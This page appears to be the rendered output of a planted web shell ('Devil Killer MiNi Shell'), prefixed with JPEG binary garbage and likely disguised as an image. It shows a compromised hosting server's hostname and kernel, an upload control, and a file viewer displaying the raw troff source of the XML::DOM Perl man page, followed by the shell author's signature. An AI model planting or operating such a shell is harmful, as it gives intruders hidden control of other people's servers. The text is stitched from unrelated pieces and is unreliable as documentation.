JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5003.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/XML::DOM.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "XML::DOM 3"
.TH XML::DOM 3 "2002-02-08" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
XML::DOM \- A perl module for building DOM Level 1 compliant document structures
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 1
\& use XML::DOM;
.Ve
.PP
.Vb 2
\& my $parser = new XML::DOM::Parser;
\& my $doc = $parser->parsefile ("file.xml");
.Ve
.PP
.Vb 3
\& # print all HREF attributes of all CODEBASE elements
\& my $nodes = $doc->getElementsByTagName ("CODEBASE");
\& my $n = $nodes->getLength;
.Ve
.PP
.Vb 6
\& for (my $i = 0; $i < $n; $i++)
\& {
\&     my $node = $nodes->item ($i);
\&     my $href = $node->getAttributeNode ("HREF");
\&     print $href->getValue . "\en";
\& }
.Ve
.PP
.Vb 2
\& # Print doc file
\& $doc->printToFile ("out.xml");
.Ve
.PP
.Vb 2
\& # Print to string
\& print $doc->toString;
.Ve
.PP
.Vb 2
\& # Avoid memory leaks - cleanup circular references for garbage collection
\& $doc->dispose;
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
This module extends the XML::Parser module by Clark Cooper. 
The XML::Parser module is built on top of XML::Parser::Expat, 
which is a lower level interface to James Clark's expat library.
.PP
XML::DOM::Parser is derived from XML::Parser. It parses \s-1XML\s0 strings or files
and builds a data structure that conforms to the \s-1API\s0 of the Document Object 
Model as described at http://www.w3.org/TR/REC\-DOM\-Level\-1.
See the XML::Parser manpage for other available features of the 
XML::DOM::Parser class. 
Note that the 'Style' property should not be used (it is set internally.)
.PP
The XML::Parser \fINoExpand\fR option is more or less supported, in that it will
generate EntityReference objects whenever an entity reference is encountered
in character data. I'm not sure how useful this is. Any comments are welcome.
.PP
As described in the synopsis, when you create an XML::DOM::Parser object, 
the parse and parsefile methods create an \fIXML::DOM::Document\fR object
from the specified input. This Document object can then be examined, modified and
written back out to a file or converted to a string.
.PP
When using \s-1XML::DOM\s0 with XML::Parser version 2.19 and up, setting the 
XML::DOM::Parser option \fIKeepCDATA\fR to 1 will store CDATASections in
CDATASection nodes, instead of converting them to Text nodes.
Subsequent CDATASection nodes will be merged into one. Let me know if this
is a problem.
.PP
When using XML::Parser 2.27 and above, you can suppress expansion of
parameter entity references (e.g. \f(CW%pent\fR;) in the \s-1DTD\s0, by setting \fIParseParamEnt\fR
to 1 and \fIExpandParamEnt\fR to 0. See Hidden Nodes for details.
.PP
A Document has a tree structure consisting of \fINode\fR objects. A Node may contain
other nodes, depending on its type.
A Document may have Element, Text, Comment, and CDATASection nodes. 
Element nodes may have Attr, Element, Text, Comment, and CDATASection nodes. 
The other nodes may not have any child nodes. 
.PP
This module adds several node types that are not part of the \s-1DOM\s0 spec (yet.)
These are: ElementDecl (for <!ELEMENT ...> declarations), AttlistDecl (for
<!ATTLIST ...> declarations), XMLDecl (for <?xml ...?> declarations) and AttDef
(for attribute definitions in an AttlistDecl.)
.SH "XML::DOM Classes"
.IX Header "XML::DOM Classes"
The \s-1XML::DOM\s0 module stores \s-1XML\s0 documents in a tree structure with a root node
of type XML::DOM::Document. Different nodes in tree represent different
parts of the \s-1XML\s0 file. The \s-1DOM\s0 Level 1 Specification defines the following
node types:
.IP "* XML::DOM::Node \- Super class of all node types" 4
.IX Item "XML::DOM::Node - Super class of all node types"
.PD 0
.IP "* XML::DOM::Document \- The root of the \s-1XML\s0 document" 4
.IX Item "XML::DOM::Document - The root of the XML document"
.IP "* XML::DOM::DocumentType \- Describes the document structure: <!DOCTYPE root [ ... ]>" 4
.IX Item "XML::DOM::DocumentType - Describes the document structure: <!DOCTYPE root [ ... ]>"
.ie n .IP "* XML::DOM::Element \- An \s-1XML\s0 element: <elem attr=""val""> ... </elem>" 4
.el .IP "* XML::DOM::Element \- An \s-1XML\s0 element: <elem attr=``val''> ... </elem>" 4
.IX Item "XML::DOM::Element - An XML element: <elem attr=val> ... </elem>"
.ie n .IP "* XML::DOM::Attr \- An \s-1XML\s0 element attribute: name=""value""" 4
.el .IP "* XML::DOM::Attr \- An \s-1XML\s0 element attribute: name=``value''" 4
.IX Item "XML::DOM::Attr - An XML element attribute: name=value"
.IP "* XML::DOM::CharacterData \- Super class of Text, Comment and CDATASection" 4
.IX Item "XML::DOM::CharacterData - Super class of Text, Comment and CDATASection"
.IP "* XML::DOM::Text \- Text in an \s-1XML\s0 element" 4
.IX Item "XML::DOM::Text - Text in an XML element"
.IP "* XML::DOM::CDATASection \- Escaped block of text: <![CDATA[ text ]]>" 4
.IX Item "XML::DOM::CDATASection - Escaped block of text: <![CDATA[ text ]]>"
.IP "* XML::DOM::Comment \- An \s-1XML\s0 comment: <!\-\- comment \-\->" 4
.IX Item "XML::DOM::Comment - An XML comment: <!-- comment -->"
.ie n .IP "* XML::DOM::EntityReference \- Refers to an \s-1ENTITY:\s0 &ent; or %ent;" 4
.el .IP "* XML::DOM::EntityReference \- Refers to an \s-1ENTITY:\s0 &ent; or \f(CW%ent\fR;" 4
.IX Item "XML::DOM::EntityReference - Refers to an ENTITY: &ent; or %ent;"
.IP "* XML::DOM::Entity \- An \s-1ENTITY\s0 definition: <!ENTITY ...>" 4
.IX Item "XML::DOM::Entity - An ENTITY definition: <!ENTITY ...>"
.IP "* XML::DOM::ProcessingInstruction \- <?PI target>" 4
.IX Item "XML::DOM::ProcessingInstruction - <?PI target>"
.IP "* XML::DOM::DocumentFragment \- Lightweight node for cut & paste" 4
.IX Item "XML::DOM::DocumentFragment - Lightweight node for cut & paste"
.IP "* XML::DOM::Notation \- An \s-1NOTATION\s0 definition: <!NOTATION ...>" 4
.IX Item "XML::DOM::Notation - An NOTATION definition: <!NOTATION ...>"
.PD
.PP
In addition, the \s-1XML::DOM\s0 module contains the following nodes that are not part 
of the \s-1DOM\s0 Level 1 Specification:
.IP "* XML::DOM::ElementDecl \- Defines an element: <!ELEMENT ...>" 4
.IX Item "XML::DOM::ElementDecl - Defines an element: <!ELEMENT ...>"
.PD 0
.IP "* XML::DOM::AttlistDecl \- Defines one or more attributes in an <!ATTLIST ...>" 4
.IX Item "XML::DOM::AttlistDecl - Defines one or more attributes in an <!ATTLIST ...>"
.IP "* XML::DOM::AttDef \- Defines one attribute in an <!ATTLIST ...>" 4
.IX Item "XML::DOM::AttDef - Defines one attribute in an <!ATTLIST ...>"
.ie n .IP "* XML::DOM::XMLDecl \- An \s-1XML\s0 declaration: <?xml version=""1.0"" ...>" 4
.el .IP "* XML::DOM::XMLDecl \- An \s-1XML\s0 declaration: <?xml version=``1.0'' ...>" 4
.IX Item "XML::DOM::XMLDecl - An XML declaration: <?xml version=1.0 ...>"
.PD
.PP
Other classes that are part of the \s-1DOM\s0 Level 1 Spec:
.IP "* XML::DOM::Implementation \- Provides information about this implementation. Currently it doesn't do much." 4
.IX Item "XML::DOM::Implementation - Provides information about this implementation. Currently it doesn't do much."
.PD 0
.IP "* XML::DOM::NodeList \- Used internally to store a node's child nodes. Also returned by getElementsByTagName." 4
.IX Item "XML::DOM::NodeList - Used internally to store a node's child nodes. Also returned by getElementsByTagName."
.IP "* XML::DOM::NamedNodeMap \- Used internally to store an element's attributes." 4
.IX Item "XML::DOM::NamedNodeMap - Used internally to store an element's attributes."
.PD
.PP
Other classes that are not part of the \s-1DOM\s0 Level 1 Spec:
.IP "* XML::DOM::Parser \- An non-validating \s-1XML\s0 parser that creates XML::DOM::Documents" 4
.IX Item "XML::DOM::Parser - An non-validating XML parser that creates XML::DOM::Documents"
.PD 0
.IP "* XML::DOM::ValParser \- A validating \s-1XML\s0 parser that creates XML::DOM::Documents. It uses XML::Checker to check against the DocumentType (\s-1DTD\s0)" 4
.IX Item "XML::DOM::ValParser - A validating XML parser that creates XML::DOM::Documents. It uses XML::Checker to check against the DocumentType (DTD)"
.IP "* XML::Handler::BuildDOM \- A PerlSAX handler that creates XML::DOM::Documents." 4
.IX Item "XML::Handler::BuildDOM - A PerlSAX handler that creates XML::DOM::Documents."
.PD
.SH "XML::DOM package"
.IX Header "XML::DOM package"
.IP "Constant definitions" 4
.IX Item "Constant definitions"
The following predefined constants indicate which type of node it is.
.PP
.Vb 1
\& UNKNOWN_NODE (0)                The node type is unknown (not part of DOM)
.Ve
.PP
.Vb 12
\& ELEMENT_NODE (1)                The node is an Element.
\& ATTRIBUTE_NODE (2)              The node is an Attr.
\& TEXT_NODE (3)                   The node is a Text node.
\& CDATA_SECTION_NODE (4)          The node is a CDATASection.
\& ENTITY_REFERENCE_NODE (5)       The node is an EntityReference.
\& ENTITY_NODE (6)                 The node is an Entity.
\& PROCESSING_INSTRUCTION_NODE (7) The node is a ProcessingInstruction.
\& COMMENT_NODE (8)                The node is a Comment.
\& DOCUMENT_NODE (9)               The node is a Document.
\& DOCUMENT_TYPE_NODE (10)         The node is a DocumentType.
\& DOCUMENT_FRAGMENT_NODE (11)     The node is a DocumentFragment.
\& NOTATION_NODE (12)              The node is a Notation.
.Ve
.PP
.Vb 4
\& ELEMENT_DECL_NODE (13)          The node is an ElementDecl (not part of DOM)
\& ATT_DEF_NODE (14)               The node is an AttDef (not part of DOM)
\& XML_DECL_NODE (15)              The node is an XMLDecl (not part of DOM)
\& ATTLIST_DECL_NODE (16)          The node is an AttlistDecl (not part of DOM)
.Ve
.PP
.Vb 1
\& Usage:
.Ve
.PP
.Vb 4
\&   if ($node->getNodeType == ELEMENT_NODE)
\&   {
\&       print "It's an Element";
\&   }
.Ve
.PP
\&\fBNot In \s-1DOM\s0 Spec\fR: The \s-1DOM\s0 Spec does not mention \s-1UNKNOWN_NODE\s0 and, 
quite frankly, you should never encounter it. The last 4 node types were added
to support the 4 added node classes.
.Sh "Global Variables"
.IX Subsection "Global Variables"
.IP "$VERSION" 4
.IX Item "$VERSION"
The variable \f(CW$XML::DOM::VERSION\fR contains the version number of this 
implementation, e.g. \*(L"1.43\*(R".
.Sh "\s-1METHODS\s0"
.IX Subsection "METHODS"
These methods are not part of the \s-1DOM\s0 Level 1 Specification.
.IP "getIgnoreReadOnly and ignoreReadOnly (readOnly)" 4
.IX Item "getIgnoreReadOnly and ignoreReadOnly (readOnly)"
The \s-1DOM\s0 Level 1 Spec does not allow you to edit certain sections of the document,
e.g. the DocumentType, so by default this implementation throws DOMExceptions
(i.e. \s-1NO_MODIFICATION_ALLOWED_ERR\s0) when you try to edit a readonly node. 
These readonly checks can be disabled by (temporarily) setting the global 
IgnoreReadOnly flag.
.Sp
The ignoreReadOnly method sets the global IgnoreReadOnly flag and returns its
previous value. The getIgnoreReadOnly method simply returns its current value.
.Sp
.Vb 5
\& my $oldIgnore = XML::DOM::ignoreReadOnly (1);
\& eval {
\& ... do whatever you want, catching any other exceptions ...
\& };
\& XML::DOM::ignoreReadOnly ($oldIgnore);     # restore previous value
.Ve
.Sp
Another way to do it, using a local variable:
.Sp
.Vb 4
\& { # start new scope
\&    local $XML::DOM::IgnoreReadOnly = 1;
\&    ... do whatever you want, don't worry about exceptions ...
\& } # end of scope ($IgnoreReadOnly is set back to its previous value)
.Ve
.IP "isValidName (name)" 4
.IX Item "isValidName (name)"
Whether the specified name is a valid \*(L"Name\*(R" as specified in the \s-1XML\s0 spec.
Characters with Unicode values > 127 are now also supported.
.IP "getAllowReservedNames and allowReservedNames (boolean)" 4
.IX Item "getAllowReservedNames and allowReservedNames (boolean)"
The first method returns whether reserved names are allowed. 
The second takes a boolean argument and sets whether reserved names are allowed.
The initial value is 1 (i.e. allow reserved names.)
.Sp
The \s-1XML\s0 spec states that \*(L"Names\*(R" starting with (X|x)(M|m)(L|l)
are reserved for future use. (Amusingly enough, the \s-1XML\s0 version of the \s-1XML\s0 spec
(REC\-xml\-19980210.xml) breaks that very rule by defining an \s-1ENTITY\s0 with the name 
\&'xmlpio'.)
A \*(L"Name\*(R" in this context means the Name token as found in the \s-1BNF\s0 rules in the
\&\s-1XML\s0 spec.
.Sp
\&\s-1XML::DOM\s0 only checks for errors when you modify the \s-1DOM\s0 tree, not when the
\&\s-1DOM\s0 tree is built by the XML::DOM::Parser.
.IP "setTagCompression (funcref)" 4
.IX Item "setTagCompression (funcref)"
There are 3 possible styles for printing empty Element tags:
.RS 4
.IP "Style 0" 4
.IX Item "Style 0"
.Vb 1
\& <empty/> or <empty attr="val"/>
.Ve
.Sp
\&\s-1XML::DOM\s0 uses this style by default for all Elements.
.IP "Style 1" 4
.IX Item "Style 1"
.Vb 1
\&  <empty></empty> or <empty attr="val"></empty>
.Ve
.IP "Style 2" 4
.IX Item "Style 2"
.Vb 1
\&  <empty /> or <empty attr="val" />
.Ve
.Sp
This style is sometimes desired when using \s-1XHTML\s0. 
(Note the extra space before the slash \*(L"/\*(R")
See <http://www.w3.org/TR/xhtml1> Appendix C for more details.
.RE
.RS 4
.Sp
By default \s-1XML::DOM\s0 compresses all empty Element tags (style 0.)
You can control which style is used for a particular Element by calling
XML::DOM::setTagCompression with a reference to a function that takes
2 arguments. The first is the tag name of the Element, the second is the
XML::DOM::Element that is being printed. 
The function should return 0, 1 or 2 to indicate which style should be used to
print the empty tag. E.g.
.Sp
.Vb 1
\& XML::DOM::setTagCompression (\e&my_tag_compression);
.Ve
.Sp
.Vb 3
\& sub my_tag_compression
\& {
\&    my ($tag, $elem) = @_;
.Ve
.Sp
.Vb 2
\&    # Print empty br, hr and img tags like this: <br />
\&    return 2 if $tag =~ /^(br|hr|img)$/;
.Ve
.Sp
.Vb 3
\&    # Print other empty tags like this: <empty></empty>
\&    return 1;
\& }
.Ve
.RE
.SH "IMPLEMENTATION DETAILS"
.IX Header "IMPLEMENTATION DETAILS"
.IP "* Perl Mappings" 4
.IX Item "Perl Mappings"
The value undef was used when the \s-1DOM\s0 Spec said null.
.Sp
The \s-1DOM\s0 Spec says: Applications must encode DOMString using \s-1UTF\-16\s0 (defined in 
Appendix C.3 of [\s-1UNICODE\s0] and Amendment 1 of [\s-1ISO\-10646\s0]).
In this implementation we use plain old Perl strings encoded in \s-1UTF\-8\s0 instead of
\&\s-1UTF\-16\s0.
.IP "* Text and CDATASection nodes" 4
.IX Item "Text and CDATASection nodes"
The Expat parser expands EntityReferences and CDataSection sections to 
raw strings and does not indicate where it was found. 
This implementation does therefore convert both to Text nodes at parse time.
CDATASection and EntityReference nodes that are added to an existing Document 
(by the user) will be preserved.
.Sp
Also, subsequent Text nodes are always merged at parse time. Text nodes that are 
added later can be merged with the normalize method. Consider using the addText
method when adding Text nodes.
.IP "* Printing and toString" 4
.IX Item "Printing and toString"
When printing (and converting an \s-1XML\s0 Document to a string) the strings have to 
encoded differently depending on where they occur. E.g. in a CDATASection all 
substrings are allowed except for \*(L"]]>\*(R". In regular text, certain characters are
not allowed, e.g. \*(L">\*(R" has to be converted to \*(L"&gt;\*(R". 
These routines should be verified by someone who knows the details.
.IP "* Quotes" 4
.IX Item "Quotes"
Certain sections in \s-1XML\s0 are quoted, like attribute values in an Element.
XML::Parser strips these quotes and the print methods in this implementation 
always uses double quotes, so when parsing and printing a document, single quotes
may be converted to double quotes. The default value of an attribute definition
(AttDef) in an AttlistDecl, however, will maintain its quotes.
.IP "* AttlistDecl" 4
.IX Item "AttlistDecl"
Attribute declarations for a certain Element are always merged into a single
AttlistDecl object.
.IP "* Comments" 4
.IX Item "Comments"
Comments in the \s-1DOCTYPE\s0 section are not kept in the right place. They will become
child nodes of the Document.
.IP "* Hidden Nodes" 4
.IX Item "Hidden Nodes"
Previous versions of \s-1XML::DOM\s0 would expand parameter entity references
(like \fB%pent;\fR), so when printing the \s-1DTD\s0, it would print the contents
of the external entity, instead of the parameter entity reference.
With this release (1.27), you can prevent this by setting the XML::DOM::Parser
options ParseParamEnt => 1 and ExpandParamEnt => 0.
.Sp
When it is parsing the contents of the external entities, it *DOES* still add
the nodes to the DocumentType, but it marks these nodes by setting
the 'Hidden' property. In addition, it adds an EntityReference node to the
DocumentType node.
.Sp
When printing the DocumentType node (or when using \fIto_expat()\fR or \fIto_sax()\fR), 
the 'Hidden' nodes are suppressed, so you will see the parameter entity
reference instead of the contents of the external entities. See test case
t/dom_extent.t for an example.
.Sp
The reason for adding the 'Hidden' nodes to the DocumentType node, is that
the nodes may contain <!ENTITY> definitions that are referenced further
in the document. (Simply not adding the nodes to the DocumentType could
cause such entity references to be expanded incorrectly.)
.Sp
Note that you need XML::Parser 2.27 or higher for this to work correctly.
.SH "SEE ALSO"
.IX Header "SEE ALSO"
XML::DOM::XPath
.PP
The Japanese version of this document by Takanori Kawai (Hippo2000)
at <http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm>
.PP
The \s-1DOM\s0 Level 1 specification at <http://www.w3.org/TR/REC\-DOM\-Level\-1>
.PP
The \s-1XML\s0 spec (Extensible Markup Language 1.0) at <http://www.w3.org/TR/REC\-xml>
.PP
The XML::Parser and XML::Parser::Expat manual pages.
.PP
XML::LibXML also provides a \s-1DOM\s0 Parser, and is significantly faster
than \s-1XML::DOM\s0, and is under active development.  It requires that you 
download the Gnome libxml library.
.PP
\&\s-1XML::GDOME\s0 will provide the \s-1DOM\s0 Level 2 Core \s-1API\s0, and should be
as fast as XML::LibXML, but more robust, since it uses the memory
management functions of libgdome.  For more details see
<http://tjmather.com/xml\-gdome/>
.SH "CAVEATS"
.IX Header "CAVEATS"
The method \fIgetElementsByTagName()\fR does not return a \*(L"live\*(R" NodeList.
Whether this is an actual caveat is debatable, but a few people on the 
www-dom mailing list seemed to think so. I haven't decided yet. It's a pain
to implement, it slows things down and the benefits seem marginal.
Let me know what you think. 
.SH "AUTHOR"
.IX Header "AUTHOR"
Enno Derksen is the original author.
.PP
Send patches to T.J. Mather at <\fItjmather@maxmind.com\fR>.
.PP
Paid support is available from directly from the maintainers of this package.
Please see <http://www.maxmind.com/app/opensourceservices> for more details.
.PP
Thanks to Clark Cooper for his help with the initial version.

Creat By MiNi SheLL
Email: devilkiller@gmail.com